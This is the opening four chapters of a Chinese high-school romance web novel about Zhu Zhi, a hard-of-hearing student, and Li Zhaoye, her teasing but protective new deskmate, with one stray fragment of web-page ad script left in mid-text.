《心震》
1. 01
思绪总是在英语课这样枯燥乏味的时间段里格外活跃，窗外的云又挤多了些，簇拥着遮住大半太阳，在湛蓝的天空中被想象成大家脑海里各种五花八门的东西。
祝枝轻蹙着眉，修长的手指抵着额头，略有些费劲地听着录音机里播放的机械女声，比起不太清楚的声音，努力凑出来的解题思路成了她这会最大的烦恼。
陡然吵闹起的课堂是由于一股脑跑来几个迟到的男生，他们嬉皮笑脸的，说着逗老师开心的话，挨了顿没什么威慑力的训斥后，一个个坐回自己的位置上。
跟在最后面的是李昭野。
他个子很高，身形瘦而有力，墨色的眸很是漂亮，偏立体的五官让他看起来很帅，因为常年脱衣泡水训练，皮肤是很有光泽的小麦色，因被前面几个人显眼包逗到，他露出一道灿然的笑，正悠哉悠哉地走向自己。
很快，李昭野坐到了祝枝旁边。
这是他们成为同桌的第一天，这也是李昭野迟到的第三节课。
“你怎么没帮我拿卷子？”李昭野随手翻了一下桌上的书，问道。
见祝枝没反应，他伸出修长的手指，轻轻敲了敲祝枝的课桌。
祝枝扭头看他，搭在肩头的马尾顺势滑落，发尾轻轻擦过李昭野的手臂。
轻轻痒痒的。
“卷子。”李昭野故意说得很慢。
这个人真的很烦，她只是听力障碍，并不是聋，他每次都要故意放慢速度说话，眼底是逗人的时候才有的戏谑。
祝枝从桌子里拿出一张崭新的卷子递给他，没办法，李昭野的屉子实在是太乱了，卷子塞进去又掉出来，已经被踩了两个脚印，祝枝只好替他收到课桌里了。
“你这是从垃圾桶里翻出来的吗？”李昭野捏住卷子一角，皱眉嫌弃道。
祝枝低着头。
李昭野敲了敲她的桌子。
祝枝又扭头，发尾再次扫过李昭野的手臂。
这次李昭野闻到了她的发香，好像是茉莉花味。
“好脏。”李昭野抱怨道。
祝枝指了指地，慢吞吞地说：“掉地上了。”
她说话慢，语调也很平，李昭野故意学她的语气。
“那你的给我。”
祝枝眉头轻轻蹙着，不太高兴的样子。
也不知道是因为李昭野嘲笑她的说话语气，还是霸道地要换张干净的卷子。
李昭野又说了一遍，他故意再次放慢：“你的给我。”
祝枝想拒绝，但有点怕他，她又想让他去找老师换一张，可这句话太长了，她不想说。
刚刚在远处欣赏的那抹灼亮的黑眸正在盯着自己，祝枝轻轻紧住下唇，不情不愿地把卷子递给了李昭野。
李昭野毫不客气地把那张有脚印的卷子递给祝枝，他吊儿郎当地展开面前整齐的卷子，发现上面的听力题已经被圈了几个答案。
“好了，都安静点，我再放一遍。”英语老师按着录音机的开关键，递给那几个不安分的男生一个警示的眼神，“别影响其他人写题。”
机械女声再次被音质差的收音机播放出来，祝枝深吸了一口气，咬着下唇，认真听了起来。
余光不小心瞥到一旁撑着下巴悠悠打着哈欠的李昭野，他可太不认真了，祝枝在心里悄悄吐槽道。
听力结束，教室里传来几声小小的松气声，李昭野抖搂了一下手里的卷子，摇头道：“你这选的什么啊？没一个对的。”
祝枝被他说得有些赧然，偏偏李昭野还要敲敲她的桌子，让祝枝扭头看着自己。
他又慢又大声地说：“你全写错了。”
几乎是一瞬间，祝枝整张脸都红透了。
气的。
把人逗急眼了，李昭野还笑，笑得很好看，也很欠揍。
“野哥，你今天上课笑什么呢？迟到了还敢这么得瑟。”
李昭野慢悠悠地把裤子扣好，走到洗手池边冲了冲水，被问到这个，他又想起祝枝那张憋红的脸，忍不住又笑了笑。
以前只知道班上有个特殊点的女孩子，低调得很，他没怎么注意过，昨天换座位被安排到一块，李昭野见她搬桌子的动作吃力极了，也不愿开口向自己寻求帮助，索性抱着胸看她使劲，等到桌子可算摆好了之后，李昭野说：“我们坐旁边那组，我只是把桌子放这里休息会而已。”
祝枝那双黑漆漆的眼睛瞪得可圆了，跟只敢怒不敢言的小鹌鹑似的。
逗她还挺有意思的。
“没什么。”他说，“今天训练我不去了。”
“你又不去，你这个月都旷多少次了，教练真要发飙了。”
“就说我拉肚子了，明天一定去。”李昭野摆了摆手，离开人满为患的厕所。
“又是拉肚子，这借口都用了多少次了。”身后的人嘀咕道。
午休结束后的走廊人比平时要多，因为今天天气很不错，不像前段时间一样晒得厉害，甚至还刮起了风，卷着远处山头的植物清香，扑进胸腔里，很是舒服。
正巧下节课是体育课，李昭野路过教室拿衣服的时候，看到祝枝还在座位上研究上午的听力题。
他的卷子划得很乱，没什么标记，只有正确答案。
而祝枝的卷子整整齐齐写了好多注解，旁边却是一条错到底的红色纠正笔迹。
市八中的校服穿在她身上有些宽大了，抵在桌上的手肘泛着红，低马尾顺从地搭在肩侧。
李昭野拎起搭在椅子上的校服外套，动静弄得祝枝扭头看他。
她这才发现教室里已经空无一人了。
祝枝向外独来独往惯了，上课、上厕所、吃饭、接水都是自己一个人，没有谁会特地喊她。
她低着头，侧身从李昭野面前走过。
嗯，确定了，茉莉花味的。
大家本还因为有一节不太晒的体育课而感到庆幸，没想到才刚做完热身，就被告知要跑八百一千。
队伍里一阵唉声叹气，李昭野站在最后一排，正用自己那套体育课跑了一千米等于完成了今天的体能训练的歪理说服旁边的人，便听到前面传来一句小声的抱怨。
“她可真爽，体育课都可以不上。”
紧接着又有人接了一句。
“你要有什么身体缺陷，你也可以不上啊。”
她们是在说祝枝。
李昭野瞥了眼坐在台阶
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旁的祝枝，她身形瘦瘦小小的，正捧着本书看得入迷，班主任特批了她不用上体育课，但这人有种奇奇怪怪的固执，每次上体育都不在教室里坐着，而是要坐在这里，所以吸引部分人的不满。
“老师叫我们过去了。”李昭野出声道。
这场对祝枝的小小声讨这才告了一段落，今天是男生先跑，随着发令枪响，三十几个男生被排成了长长的队伍，占了小半跑道。
体育老师转着手里的口哨，摇头道：“你们这些学生天天只知道闷头读书，现在一个个体能都这么差了。”
李昭野每天都有体能训练，体育老师还指着他带动全班男生一起跑快点，可这家伙躲懒，吊儿郎当地晃着身体跟在队伍的后半途，一点都没有要跑快点的意思。
“李昭野！你赶紧的！别玩了！”
李昭野有些不服：“这么多人你就催我一个。”
体育老师指着他嚷道：“跑慢了罚你。”
逐渐被拉长的队伍让其他班的学生都有些望而却步，他们只好换到了主席台下集合，位置就在祝枝坐着的地方旁边。
云层适时被一道风吹开，明晃晃的太阳光落到书上，刺得眼睛有点发酸。
祝枝抬头休息，正巧撞见隔壁班休整好的队伍。
站在队伍前头的林知阳正在点人，他整个身体都浸没在明亮的太阳光线当中，被勾出一层朦朦胧胧的光边。
祝枝手指紧攥住书角，林知阳点清了人，扭头和体育老师报备，她立马慌乱地挑开视线，手背在滚烫的脸颊上贴了贴。
太阳逐渐晒了起来，没法继续坐在阳光下看书了。
她准备换了个地方待着，没入阴影处后，浑身的燥热感散失不少，她环抱着膝盖，书放在一侧，抬眸看向林知阳。
下一秒，和几个男生三五成群说着话的李昭野边入了视线。
他出了些汗，额前的发被用力揉开，有些凌乱，校服外套正随意地挂在肩膀上，向来人缘极好的他正被簇拥着，嘴角的笑有些淡然，也不知有没有专心听进去旁边人的奉承。
他们一行人有点吵，本欲擦肩而过的李昭野忽然顿住了步子，站到她面前。
“都解散了。”他说。
祝枝抬头和他对视，一旁的好几个男生也跟着盯了过来，正想说句我知道的祝枝一时间卡住，只瞪着双大眼睛盯着李昭野。
“解散了。”李昭野又故意把声音拖得悠长。
“野哥，你这同桌不是耳朵有问题吗？她能说话吧。”
李昭野皱眉瞪了他一眼，收回视线看向祝枝。
“不走？”他蹲下来，顺着祝枝坐下的视线望去，随口问道，“你盯谁看呢？”
“走！”
这声倒是挺大的。
祝枝吓得赶忙起身，起来的瞬间额头撞向李昭野的下巴，疼得他一声低呼。
祝枝被他吓到，人都还没站稳，便被李昭野一把抓住了手腕，他另一只手正揉着疼得不行的下巴。
“痛死了。”他皱眉抱怨道。
祝枝：“……对不起。”
李昭野轻轻敲了敲她的额头。
“道歉没用，请我喝饮料。”
2. 02
祝枝上学很少迟到，只是昨晚看书到太晚，踩在清晨去上学的路上，她步子都有些飘忽忽的。
好不容易到了教室，已经有人在开始背书了，她快速回了位置，整理好书包后，开始默记单词。
清晨的教室里刻苦的人最多，大家都赶在打铃前陆陆续续进来了，只有祝枝旁边还空着。
班主任进来巡了一圈人，发现又是李昭野迟到。
偏偏李昭野心比谁都大，挎着单肩包从门外跑来的时候，手里还拎着早餐，带着少年人独有的意气风发，头发都在随着跑步的动作飞舞着，引得不少人都侧目看他。
“你又迟到了。”班主任颇有不满，拧着眉堵住李昭野回位置的路，“今天留下来扫地。”
李昭野神色并没有什么悔过之意，他点头应下，指了指座位：“我能进去了吧？”
“赶紧拿书出来。”虽然知道是句废话，但班主任还是唠叨了一句。
祝枝正低头盯着手里的英语单词本，没太注意身旁传来的动静，直到一瓶粉色包装的牛奶放到她桌子上。
祝枝狐疑扭过头去。
李昭野说：“你请我喝饮料，我请你喝牛奶。”
他路过早餐店时瞥见的草莓牛奶，顺手就买了，粉粉嫩嫩的，女孩子应该都喜欢吧。
见祝枝不说话，李昭野又凑近了些，简短复述道：“请你喝。”
他离得近，透亮的黑眸也近，祝枝眸光微颤，她伸出手指了指自己耳朵里的助听器，小声说：“我能听见。”
意思是不用每次都特地重新说一遍。
“谁让你总是不搭理我。”李昭野从袋子里翻出面包和牛奶，他身形大，这方小小的座位间隙让他脱个包都显得有点局促。
祝枝又不吭声了，她不太爱说话，一是没什么人和她说话，二是她总觉得自己的普通话不是特别标准，害怕别人嘲笑她。
“今天听写哪到哪？”李昭野问她。
祝枝伸过手，翻开李昭野随手放在桌上的英语书，做了个秀气的标记。
李昭野说了声谢了，便开始一边慢悠悠地吃早餐，一边懒散地记单词。
“野哥，教练说，你今天再不去训练就死定了。”
“你怎么也不替我多说点好话呢。”
“你是没看到他那臭脸，我敢说话吗我？”
“你真没用。”李昭野皱眉吐槽道。
“行了，别说了，你买了别的早餐没，我饿死了。”
李昭野就一个面包，三下五除二便吃完了，他喝掉最后一口牛奶，摇了摇头：“没了。”
倒是课桌里有个粉色小盒子，李昭野瞟了眼上头的小便签，轻轻挑了挑眉，然后丢给后头的人。
“好像是曲奇，你吃了吧。”
“……这不是那谁送你的吗？”
李昭野慢悠悠打了个哈欠，他翻开书桌找笔，嘀咕着怎么这笔总是莫名其妙失踪。
祝枝从他坐下来，耳边就没有清净过，她纤细的手指按住太阳穴，扭头看向李昭野。
李昭野察觉到她的视线，动作顿住，看她。
“干嘛？”
祝枝从笔袋里拿出一支笔递给他。
“我有。”李昭野说。
“昨天被踩碎了，扫了。”祝枝说。
跟那些男孩子一样，他的书桌总是乱七八糟的，什么东西都一股脑往里面塞，祝枝看得都快要犯强迫症了，恨不得帮他一一收拾整齐，这样至少耳根子能不再被找东西这事儿给骚扰了。
“哦，谢谢了。”
应该能安静了，祝枝挤出一个笑。
“你的笔怎么都是香的？”
他又说话了。
祝枝扭头，亮晶晶的黑眸里有几分不爽。
李昭野不明所以：“怎么了？”
祝枝细眉微蹙。
“又没听清。”
她紧住下唇，暗暗压下心里的怒火，然后从笔袋里翻出一支上次考试奖励的黑笔，递给他。
李昭野却撑着下巴收回视线，晃了晃在他手里显得有些不和谐的笔，说：“我用这个就行。”
似乎是怕祝枝没听清，他扭头准备复述，正好跌进祝枝的视线里。
“我听到了。”祝枝赶忙道。
“哦。”李昭野说。
这位新同桌可真不好应付，平日里吵得很，一点没有学习的心思，上课不是睡觉就是聊天，打游戏，还很爱和她搭话，这两天下来，祝枝感觉比和上个同桌坐了半个月多还要累。
下午的课是适合睡觉的时间。
李昭野睡觉的时候倒是挺安静的，他每次都用衣服罩着脑袋，挡住窗外的光，偶尔的动作会让校服外套滑落，露出锋利的下颚和薄薄的唇，以及轮廓分明的喉结。
祝枝偶尔也会发呆，看看上课时分空无一人的校园，看看云，看看树。
有时候会忍不住看看身侧的李昭野。
他可真是个奇人，居然真能做到一点书都不读，相安无事地坐在高中教室里，大摇大摆地睡觉。
班上也不是没有特长生，没有谁像他一样肆无忌惮。
听班上其他同学聊八卦的时候说，李昭野家里条件特别好，他从小到大都挺混的，还在学校外和人家约过架。
真吓人，祝枝皱了皱鼻子。
心里正编排着他，立马猝不及防跌进李昭野湿漉漉的黑眸里，他带着惺忪的睡意，俊朗的五官和张扬的气场让祝枝下意识把刚刚想的那场约架给脑补了出来。
他这个坏学生，最好还是别惹。
想到这里，祝枝又忍不住紧张地咬住了下唇，她小心翼翼地缩了缩脖子，想移开视线，却发现自己好像被猎人盯上的无助猎物，不敢轻举妄动。
“看什么呢？”李昭野揉了揉眼睛，他的手肘被枕得有些泛红，随手撩开额头的发。
前两天晚自习考的英语卷子已经发下来了，李昭野枕着睡了一整节课，都有些皱皱巴巴的，祝枝瞥了眼他卷子上的分数。
142分？？？
祝枝惊讶地看看卷子，又看看李昭野。
她下意识紧住了自己屉子里69分的英语卷子，心里涌起一股悲伤。
这个不学无术的家伙分数居然整整是她的两倍还多……
又在看他，李昭野不解：“怎么了到底？”
祝枝指了指他的卷子，小声道：“借我。”
李昭野把卷子递给她，在松手前，他又抽回卷子，顿住道：“你多少分，给我看看。”
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祝枝呆呆地啊了一声。
“你卷子呢？”
她慌张的视线左顾右盼的，就是不和李昭野对视。
装没听清是祝枝惯用的技巧，李昭野才不吃她这一套，伸手从祝枝课桌里揪出那张卷子。
她急得去拦，嫩白的手都握不住李昭野的手臂，压根拦不住李昭野的动作。
李昭野反手一按，大手攥住祝枝的两只纤细的手腕，按住她的动作。
“别看！”细细的声音压着生气，李昭野展开卷子一看，69分。
“没及格啊。”他悠悠道。
这动静到底还是让老师都有点看不惯了，他不悦地看了李昭野一眼，低声警告他安分点。
祝枝气得耳朵都红了，又怕老师连带自己一块骂了，只能委屈巴巴地盯着李昭野前前后后把她的卷子看了个遍。
“你这不是选对了吗？不是69分，应该是71分。”李昭野指着一道被错判的选择题，说。
祝枝紧住下唇，手腕被李昭野攥得红了一圈。
她拿回自己的卷子，脸色沉沉的。
“你生气啦？”李昭野明知故问。
“别生气，我去替你跟老师说，要不你再找找，指不定还有别的地方也被看错了，又能多两分。”
李昭野！好烦！
今天是祝枝做值日，周五的下午垃圾堆得最多，而且大家溜得都早，椅子都懒得搬上去。
祝枝慢吞吞地搬着凳子，门口传来一阵打闹的动静，她抬头望去，又是李昭野。
立马撇开了头的同桌让李昭野想起自己下午把她逗生气了，他和门外的人道了个别，走向祝枝，接过她手里的凳子。
“我来搬，你去扫地吧。”
祝枝闷头不理他，扭头拿起扫把便往另外一个大组走去。
祝枝做什么都认真，她扫得后背都出了一层汗，气喘吁吁地擦掉额间的汗，发现李昭野已经搬好了所有的凳子，在粗糙地扫地。
所谓粗糙，就是漏了好多垃圾和灰尘。
祝枝走向他，李昭野有些惊喜，抬眸看她。
她指了指教室后面的垃圾桶。
“垃圾桶满了？”
祝枝点头。
“我一个人去倒啊？”
祝枝又点头。
“好吧。”
他个子大，拎着一桶垃圾也不算费力，走到教室后门，他又顿住了步子，问她：“你要喝什么？”
祝枝小声嘀咕拒绝：“不喝。”
李昭野又是给她带的牛奶，放在校服口袋里，湿漉漉的水汽打湿了薄薄的口袋网。
他递过来，祝枝不接，他就一直举着。
被拗得没办法，祝枝只好接过了。
“不准继续生气了啊。”他说。
没生气，祝枝在心里回答道。
“声音那么点，脾气还挺大。”他又嘀咕道。
没生气！祝枝在心里又嚷了一遍。
“你在教室待着，我再去倒一次垃圾就能走了。”最后一口可乐在齿间炸开气泡，他丢掉易拉罐，拎起垃圾桶后，扭头说，“不准偷溜啊，不然跟老师告状。”
祝枝咬着牛奶吸管，别开头。
李昭野！幼稚！
3. 03
祝枝还真在教室里没走，倒不是怕他告状，只是这家伙有点难缠，祝枝不太想惹他。
李昭野回教室的时候，祝枝正靠在门框上发呆。
正值夏天，短袖校服对祝枝来说有点宽大了，一截又细又嫩的白胳膊环胸抱着，干净的浅粉色书包整齐地背在肩头，藏在耳朵里的助听器并不打眼，黄昏时分柔和的光线落在她脸侧，勾出一层薄薄的浅金色轮廓。
“你怎么回家？”李昭野走近后问她。
祝枝：“坐公交。”
“哪路？”
“912。”
“那顺路，一块吧。”说着，他进了教室收拾书包，也不管黑板上布置了多少作业，随便塞了几张崭新的卷子便背好了包。
细细想来，这还是祝枝第一次和班上的同学一块放学坐车回家。
她性子本来就淡，小学初中那会不懂事的同学很多，以前也不习惯戴助听器，反应总是有些迟钝，跟不上大家说话的节奏，有些同学就经常会因为她的特殊而做出各种冒犯的行为，导致她在集体生活中愈加沉默。到了高中，大家多数都是在自己的小圈子里忙自己的，就算偶有不太好听的声音，祝枝都是选择沉默应对。
可长时间游离在集体之外的她，没交到什么朋友，有时候在学校呆上一整天，都不会和谁说上一句话。
默默跟在李昭野身后的她看着高了一个一大截的男孩自如地点头应对其他人的招呼，他的头戴式耳机挂在脖子上，压住脖颈处的黑发，运动风的书包单背在肩头，低头调试好了一会，他别上耳机准备听歌。
忽然顿住步子，扭头道：“你不玩微信吗？”
祝枝眼睛圆圆的，疑惑地盯着他。
“你怎么没在班级群里？”
祝枝摇了摇头。
“你真不玩微信啊，该不会是你家里人不让你用手机吧。”
祝枝有个手机，但她一般不会带到学校来。
“没带。”她小声说。
“你微信多少？”
李昭野把手机递给她。
祝枝慢吞吞接过他的手机，顶配的手机屏幕很大，她两只手握得都有点艰难，搜索到自己的微信账号后，祝枝把手机递还给他。
“木头。”李昭野念出她的微信名，然后抬眸看向她，“确实挺像个木头的，反应总是很慢。”
祝枝脸颊微烫，她说：“我很少看手机。”
“写完数学作业之后拍一份发给我应该花不了你多少时间。”李昭野说。
祝枝：“……”
“我可以把发英语练习册的答案给你，你英语不是很差吗。”
祝枝：“…………”
“用不着。”过了很久，她小声从喉咙里挤出这句话。
周五的晚上时间很充裕，洗过澡后，祝枝坐在书桌前小心翼翼地把助听器擦干净，她检查了一下耳朵的情况，然后才慢悠悠地擦着头发。
夏日的窗外总有阵阵蝉鸣，带着芬芳的风扑进燥热的房间里，带来丝丝清凉，她不太喜欢吹头发，简单擦过后，把头发搭在肩头，细长的腿踩在凳子边缘，用一个很是舒服的姿势坐到椅子上，她下巴凑到膝盖上，盯着屏幕上李昭野的好友申请。
他的微信名很简单，Liiizy，头像是一张他穿着冲锋衣踩在悬崖峭壁上的照片，大片的蓝色天空让画面充满生机和自由的气味。
葱白的手指轻轻在屏幕上点了几下，通过了李昭野的好友申请。
祝枝的微信列表人少得可怜，除了家里的几个人之外的，只有楼下超市奶奶，和初中的班长。
现在又多了个李昭野了。
犹豫再三，祝枝还是起身，把数学卷子拍了，发给李昭野。
他回消息的速度很快，
-？
-这么快就写完了？
祝枝捧起手机回复他。
-在学校写的。
她的字很工整，解题过程干净利落，看起来就赏心悦目。
-我英语还没动
祝枝皱了皱鼻子。
-我不抄你的。
-但我可以对一下答案。
她又补充了一句。
李昭野这回不知道干嘛去了，半天都没有回复。
祝枝放下手机，拿起桌上的书开始看，直到放在一旁的手机再次亮起。
-行随你
-我写完了发你
作业写到十一点多便停笔了，虽然在学校跟班上课，但祝枝听课的学习效率一向很低，她周五晚上的时间都是用来巩固这周的学习内容，然后早早上床休息。
定好的闹钟准时在六点钟震动，她有些懵懵地睁开眼睛，适应着周遭寂静的环境。
简单洗漱后，她坐到书桌前开始默记单词。
直到妈妈悄悄拍了拍她的肩膀，指了指门外。
要吃早餐了。
祝枝点了点头。
祝枝今天要去上补习班，从昨天中午开始，她就为今天的补习班而隐隐紧张起来，戴上助听器后，她重重地吐出一口气，扯了扯裙子下摆，背好书包出门了。
祝枝在周六的补习班是数理化，拆分成三大节课，都在同一间教室里，为了防止祝枝听不清，她妈妈给她报的是小。一个班才四五个人。
祝枝到的时候，林知阳已经在教室里写题了。
她顿在门口，略有些紧张地攥住了书包带子。
林知阳察觉到有人来，抬头，看到神色紧张的祝枝，主动露出一个笑。
祝枝走近，她听到林知阳说：“早。”
“早。”祝枝小声回答。
说上话了，祝枝在内心默默道。
他们是局限于补习班的同学，在学校里很少有说话的机会，大多数打招呼的时刻也都被祝枝第一时间侧目躲开视线而错失。
学校里人潮拥挤，祝枝总觉得，只有到了这里，她才和林知阳的距离稍微近一点。
补习班结束在四点半，费了一整天脑子，几个人齐刷刷松了口气，祝枝收拾好桌上的东西，她要在楼下等待妈妈下班后过来接她。
祝枝和林知阳他们一块下了楼，林知阳和她挥手道别。
祝枝也冲他挥了挥手，疲惫的心止不住涌起一阵雀跃。
待人都走光之后，祝枝低头看了一眼手机里的消息，妈妈说还要半小时。这才在楼下站了不过五分钟，后背就攀升起一阵燥热，少年宫一楼的篮球馆此时正亮着灯，她扭头瞥了一眼，决定进去蹭蹭空调。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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球馆里正在进行一场友谊赛，旁边人不多，祝枝找了个角落呆着看书。
时间流逝地很慢，祝枝轻轻用手指掀到下一页的间隙，猝不及防被一个球猛得砸中脑袋，一下给她打懵了。
“我说你，耳朵有问题吗？我不是让你躲开了吗？”来人气势汹汹的，祝枝抬头，和一个汗涔涔的高中男生对上视线。
明明是她被砸了，倒像是他受了气似的。
不远处正在擦汗喝水的程勇远远瞥了眼热闹现场，忍不住笑道：“我靠，是你同桌哎，王正雄这家伙还真会骂，他怎么知道她耳朵有——”
李昭野顺着视线望过去，被一堆人包围着的祝枝正抿着唇，跟只小鹌鹑一样缩着脑袋，看起来怪可怜的。
他随手丢下擦干的毛巾，朝他们走去。
王正雄感觉自己被身旁的一股力重重地推了一下，他猝不及防一个踉跄，错愕望去，只见李昭野蹲到被他砸中了还是一声不吭的小姑娘面前，神色竟然有几分难得的温柔。
“你没被砸傻吧？”
见到熟人了，祝枝纤细的眉紧皱，咬着下唇的牙齿微微松了松，面露委屈。
“既然没被砸傻，怎么不骂他？”李昭野问。
“你认识她？”王正雄尴尬问道。
祝枝看了后头的王正雄一眼，又看了李昭野一眼。
李昭野抬了抬下巴：“骂他。”
祝枝抱起怀里的书，摇头：“我要走了。”
李昭野起身，轻轻踹了王正雄一脚，淡声道：“道歉。”
王正雄有些尴尬，低声嘀咕着这算什么事。
“对不起啊。”
不情不愿挤出来的几个字传到耳朵里，祝枝撇开了头，看向李昭野的视线里带着几分求助。
祝枝不骂，李昭野干脆帮她骂了。
“你脑子有病是不是？砸了人家不道歉还在这里恶语相向，这么多年书都白读了？”
“这么远，明明够时间躲开的好吗？我都喊得这么大声了。”
“还叫还叫。”李昭野横了他一眼，作势要给他一下，王正雄赶紧躲开了。
祝枝不知道什么时候已经躲到他身后了，李昭野转了一整圈才找到她，她小小一个，抱着书缩在自己身后，让人很难不生出保护欲。
耳侧滑落的汗珠带了些痒意，李昭野抬手蹭了蹭，问她：“你怎么在这里？”
“等我妈妈。”
她低着头，依旧是简单的低马尾，但是今天穿了条粉色裙子，整个人看起来嫩生生的，老老实实坐在这里等妈妈。
……好乖。
李昭野咽了咽喉咙，撇开视线：“她还有多久到？”
“快了。”
“那你再坐会，不会有人不长眼再砸你了。”
祝枝点了点头。
王正雄一行人已经骂骂咧咧散去了，祝枝坐回位置上，抬头看向李昭野，她伸出手，指了指王正雄他们的方向。
“你朋友吗？”
李昭野怔了一下，说：“不熟。”
“噢。”
祝枝没再敢继续低头看书，而是看他们打球，看来李昭野和他们果然是不熟，打球又凶又猛，丝毫不留情面，打得他们目瞪口呆的。
4. 04
李昭野的字很草，英语字写得更草，但是正确率很高。
祝枝看过他的朋友圈，寥寥几条，其中就有他几年前在新西兰的定位，配图是两张颜色饱和度很高的湖畔风景，祝枝算了算，那是他们还在读初一的时候。
李昭野家庭条件好，天生就有一种让普通人无法企及的游刃有余，就在大家都还在抱着学校发的重点资料啃的时候，他已经在用眼睛去看世界这本厚厚的书。
祝枝很羡慕有语言天赋的人，她不算是，甚至在这方面，她显得有些迟钝。
硬生生靠勤奋啃下来的语文也偶尔只在老师心情好给分松的时候分数漂亮，更别提一直都吊车尾的英语了。
所以每次写完所有的理科作业，她都感觉真正的痛苦才刚刚开始。
对完所有的答案，卷子上通篇的红色标记让她心里止不住烦躁，她把卷子整理好塞进书包里，突然瞥见夹在小夹层里的一个黑色笔记本。
这是林知阳的草稿本，上次补课的不小心收进她书包里的。
祝枝道德感强，她清楚草稿本里藏着很多秘密，所以她到现在为止都没有翻开看过一眼。
但她又有点小私心，一个礼拜了，都没舍得把本子还给林知阳。
要不明天拿去给他吧，这样也能在学校说上一次话……
可真要站到他面前了，自己又该怎么开口搭话呢……
带着这样的纠结，祝枝很快就睡着了。
依旧是被手表震醒的一个周一的早晨，祝枝今天多抄了几个单词，用来在升旗仪式的时候记，蓝白校服已经被妈妈洗得干干净净，带着好闻的香味，轻盈的马尾在她终于踩稳到了公交车上时落到肩头，带着微微的喘气，她环视了公交车一周，发现一个空位置。
摇摆着走近，她看了一眼一旁被校服外套罩着，靠窗睡觉的男生，犹豫了一下，还是坐下了。
清晨的空气里混杂着清爽的树木气味，湿漉漉的，扑进鼻腔里，公交车在马路上急驰，带来轻微的晃动，让祝枝的心情也忍不住跟着雀跃起来。
忽然，一个急拐弯，男生的校服外套掉到她肩头。
祝枝吓了一跳，扭头，正好撞进李昭野惺忪的眸子中。
他的黑眸逐渐对焦，在看清祝枝后，他揉了揉眼睛，道了声早。
祝枝拎起他的校服外套，紧张点头：“早。”
“……你这是什么表情？”
祝枝下意识紧住下唇。
李昭野发现了，这是她紧张的微表情。
“你紧张什么？”
祝枝满脑子都是昨天李昭野打球把对面打到求饶的狠劲，一时语塞。
“兔子胆一样小。”李昭野嘀咕道，“你物理卷子写完了吧？我的丢学校了，等会给我抄一下。”
“……我是物理课代表。”祝枝小声说。
“什么？”李昭野是真没听清。
“给你抄！”她忙脆生生道。
“你原来也能大声说话的。”
祝枝绞紧了校服衣摆，扭过头去不看他，偷偷蹙眉。
李昭野这家伙也太烦人了。
祝枝提前花了不少时间看今天要讲的英语试卷，听起课来果然是比以往要更有效率，只是教室里依旧嘈杂，英语老师的讲解的话像抓不住的风似的从指尖流逝。
四十分钟过得像四百分钟一样漫长，紧绷的身体随着老师的一句下课而松懈下来，她悄悄地叹了一口气，把答应李昭野的物理卷子递给他。
李昭野真的很少抄到如此整洁的卷子，就连大题的解答过程都写得像是印刷上去的一样，他都怀疑祝枝是不是每天先在草稿本上写一遍作业，再完完整整腾到卷子上。
不出所料，祝枝的这张卷子拿了漂亮的满分。
而李昭野压根没有拿到从前面传下来的卷子。
“我卷子呢？”
“哥，你交了吗？”前桌懒洋洋开口道。
“今天还真交了。”
“那就不知道了，估计是丢到哪个组去了吧。”
李昭野啧了一声，自己难得有兴致交个作业，还弄丢了。
“算了。”他挠了挠脑袋，懒散地靠到椅子上。
很快，李昭野就知道他的卷子丢到哪里去了。
物理老师手里只留了三张卷子，一个是空了大半没写还敢交上去的，一个是基本没动笔的，还有一个就是李昭野的。
轮流批评过后，她的视线缓缓落到李昭野身上。
“李昭野，你的作业是自己完成吗？”
李昭野态度散漫，但还算诚实。
“报告老师，我抄的。”
“你还挺自豪。”
压根不用问是抄谁的，物理老师瞥了眼在一旁已经尴尬到无地自容的祝枝，心里生出些满。她这届最看好的就是这个聪明苗子，也不知道他们班主任怎么想的，居然让李昭野这个不学无术的家伙和祝枝当同桌，岂不是耽误她学习。
心里愈发对李昭野不满，她手里捻了又捻的一颗粉笔被丢向李昭野，可没控制好角度，眼看要划过李昭野，直直往祝枝飞去。
祝枝错愕瞪眼，一时间，氛围变得有些尴尬。
下一秒，李昭野伸手抓住飞向祝枝的那颗小粉笔，在物理老师怒气更盛的视线中，把粉笔往自己脑袋上一丢，笑道：“我错了老师，下次不偷偷拿我同桌的卷子抄了。”
没乌龙地砸到爱徒，物理老师脸色稍缓，她倒也没想真靠这一两句话改变他，说到底也只是要个态度而已，见李昭野递来台阶，她冷哼了一声，说：“你最好是。”
祝枝悄悄松了口气。
“不谢我？”李昭野偏头问她。
祝枝：“嗯？”
“我没把你捅出来。”
那还不是因为你抄作业吗？祝枝在心里吐槽道。
但为了让李昭野早点闭嘴，她还是道了句谢。
李昭野拿到卷子，难得给物理老师面子，认真听了一整节课，虽然大多数时间都是在听个答案对一下罢了，他惊奇地发现，祝枝的答案基本全对。
他抬眸看了眼正在写下一张卷子的祝枝，低马尾落在身后，耳廓处有几根不安分翘起的头发，现在已经被卡到了耳朵后面，写物理题的她和记单词时的状态完全不一样，整个人像是游刃有余的大侠客，轻轻松松就把卷子上的复杂题目剖开，解决掉。
但是却记不住一句句式稍微复杂点的英语。
李昭野脑子忽然闪过一个念头，他好像
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知道为什么班主任给他俩调到一块了。
中午午休，李昭野和祝枝一块被叫到了班主任办公室，和他猜想的一样，班主任让他们俩取长补短，互帮互助。
长篇大论半个字都没钻进李昭野耳朵里，他垂眸瞥了眼一旁的祝枝，她肩膀薄得很，脖颈是嫩生生的白，正乖巧低头，神色认真地听班主任说话。
李昭野慢悠悠地打了个哈欠，班主任瞥了他一眼，对祝枝说：“你先回教室休息吧。”
待到关门的声音响起，班主任才将视线落到李昭野身上。
“站没站相。”她皱眉训斥道。
李昭野懒洋洋地应付式地动了一下。
“我刚刚说的话，你都听明白了吧？”
“嗯。”
“你也要好好考虑考虑自己的文化分数了，别到时候费这么多劲拿奖加分，过不了文化线，那岂不是太可惜了。”
这些话李昭野都快听得耳朵起茧子了，他嗯嗯两声，应道：“知道了。”
“还有啊，你同桌情况特殊，你不要欺负人家。”
“知道。”
他懒懒散散的，真是让人怎么看都看不惯，班主任挥了挥手，眼不见心不烦。
“行了，你回教室去。”
李昭野出了办公室的门，在门口神色犹豫的祝枝赶忙藏起手里的本子，紧张地看着他。
“等我啊？”李昭野问她。
祝枝飞快摇了摇头。
“回教室去。”
她又点了点头。
还特意被叮嘱了一番不要欺负人家，李昭野都开始怀疑自己在班主任心里的形象，他不指望祝枝能辅导自己的理科，毕竟她连大声说句话都有点难，真要让她完完整整讲解一道题，估计也是个难事。
